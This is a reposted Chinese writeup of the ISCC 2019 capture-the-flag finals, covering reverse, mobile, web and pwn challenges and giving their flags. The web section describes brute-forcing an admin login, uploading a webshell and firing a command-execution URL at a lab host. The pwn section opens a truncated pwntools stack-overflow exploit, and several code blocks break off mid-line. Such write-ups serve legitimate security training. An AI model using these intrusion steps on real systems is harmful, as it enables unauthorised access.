第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

转载

weixin_30832405 于 2019-08-01 20:26:00 发布
原文链接：http://www.cnblogs.com/qftm/p/11285099.html

笔者《Qftm》原文发布在：https://bithack.io/forum/469/answer/333

0x00 Begin

关于 ISCC 2019 北理工总决赛，这一次比赛体验感总体差不多，最后我们战队荣获第一名，在这里非常感谢我的团队以及我的队友。

0x01 Reverse

下载题目：elf

先用 DIE_090_win 查看信息，64位elf文件，然后拖入 ida 分析。

看到fgets函数，并且没有对输入进行限制，存在数组越界漏洞。

而且数组是连续的

所以根据流程写出相应的脚本

```
#include <stdio.h>
int main(int argc, char *argv[]) { int s,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22
```

GetFlag

```
ISCC{aha_simple_reverse}
```

0x02 Mobile

下载题目：app-release.apk

通过提示发现flag由两部分组成

由于该apk缺少签名所以无法安装，不过不影响做题

第一部分：

先对apk进行反编译，分析特殊文件，最终在string.xml文件中找到一些特殊字符串

```
<string name="abc_toolbar_collapse_description">Collapse</string> <string name="app_name">where is flag</s
```

提取特殊字符串

part=part1+part2+part3=RmxhZyU3QlIvdXJBcmVDYW5keQ==

base64解码得到flag前半部分

Flag{YourAreCandy

第二部分：

使用jd-gui查看反编译的java文件

主类代码如下：

```
package com.example.iscc.whereisflag;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; imp
```

审计主类Java代码发现第二部分存在于check函数中，下来分析check函数功能：

首先将输入的奇数位赋给数组arrayOfInt1,偶数位赋给arrayOfInt2，然后判断输入的字符串ASCII的要小于800。

这部分将数组arrayOfInt2的最后一位和第一位替换位置；并要求arrayOfInt1要小于等于91，arrayOfInt2要大于等于96。

最后两部分就是对两个数组的值的判断即约束条件。

最终，满足所有条件才能返回1即返回true。

根据上面列出的约束条件(为了阅读方便将数组设为 arrayOfInt1->arr1 arrayOfInt2->arr2)

然后设

```
arr1[0] -> x0

arr1[1] -> x1

arr1[后1] -> x_1 == 数组arr1的到数第1位

arr1[后2] -> x_2 == 数组arr1的到数第2位

arr2[0] -> y0

arr2[1] -> y1

arr2[后1] -> y_1 == 数组arr2的到数第1位

arr2[后2] -> y_2 == 数组arr2的到数第2位
```

所有约束条件组成的方程组

```
x_1 = x_2 式 1
x1 – x0 =4 式 2
x0 – x_1=4 式 3
(x_1 + y_1 +y1)/(x0+x1) =2 式 4
(x_1 + y_2) % 10 = 0 式 5
| y0 – y1| =4 式 6
y0 % 25 =0 式 7
y_2 % 11 =0 式 8
y_1 %11 =0 式 9
```

利用方程组求解：

```
根据式7得 y0 = 125 或者 100

根据式6得 y1 =121

因为数组2要大于等于96，所以根据式8，9得 y_1,y_2的取值有三种可能 99，110，121

若 y_2 =121

根据式5得 x_1 = 69

根据式1得 x_2 = 69

根据式3得 x0 = 73

根据式2得 x1 = 77

根据式4得 y_1 = 110
```

发现此解满足条件

```
x0 = 73   x1= 77   x_2 = 69   x_1 = 69

y0 = 125 y1 =121 y_2 = 121 y_1 = 110
```

整理：

```
数组 arr1 = 73 , 77, 69, 69

数组 arr2 = 125, 121, 121 , 110
```

根据1.2可知数组2的最后一位和第一位替换位置所以

数组 arr2 = 110, 121, 121 , 125

之后根据数组arr1是输入的奇数位，arr2是输入的偶数位

所以输入： 73,110,77,121,69,121,69,125

对应字符串：lnMyEyE}

最终flag由第一部分和第二部分组成

```
Flag{YourAreCandyInMyEyE}
```

PS：感谢我们团队的逆向大佬帮我分析算法(二进制大佬)。

0x03 私地 Web

拿到一个站，先对该站点进行端口探测，目录扫描，发现存在登陆页面，首先想的是注入，但是注入无果，于是立马进行isccadmin爆破。

登陆之后，先修改自己账户密码，防止被登录。

漏洞利用，修改附件上传限制

在文章哪里上传木马111.pht

PS：服务器存在漏洞(主办方文件权限设置出现问题)，一直上传不上去，耽误了一个小时（T_T）,最后向主办方反应才解决了该问题。

最后蚁剑成功连接shell

Getflag向主办方要取ssh账号

连接ssh之后，备份源码，分析站点文件，发现根目录下的一个文件(xmlrpc.php)存在任意命令执行漏洞。

构造payload，getflag

```
http://192.168.37.71/xmlrpc.php?rsd=getflag
```

0x04 Pwn 高地2

放入ida分析，发现scanf存在栈溢出漏洞，并且题目还给出了system函数

根据漏洞编写相应的Exp

```
from pwn import *
context.log_level = "debug"
#icontext.arch = "amd64"
elf = ELF("./fZ830RdRBe6wAofd.pwnPublic") pop_rdi_ret=0x400683 bss=0x602000-10 pop_rsi_r15=0x400681 s=0x400
```

0x05 End

Game over !!!!

转载于:https://www.cnblogs.com/qftm/p/11285099.html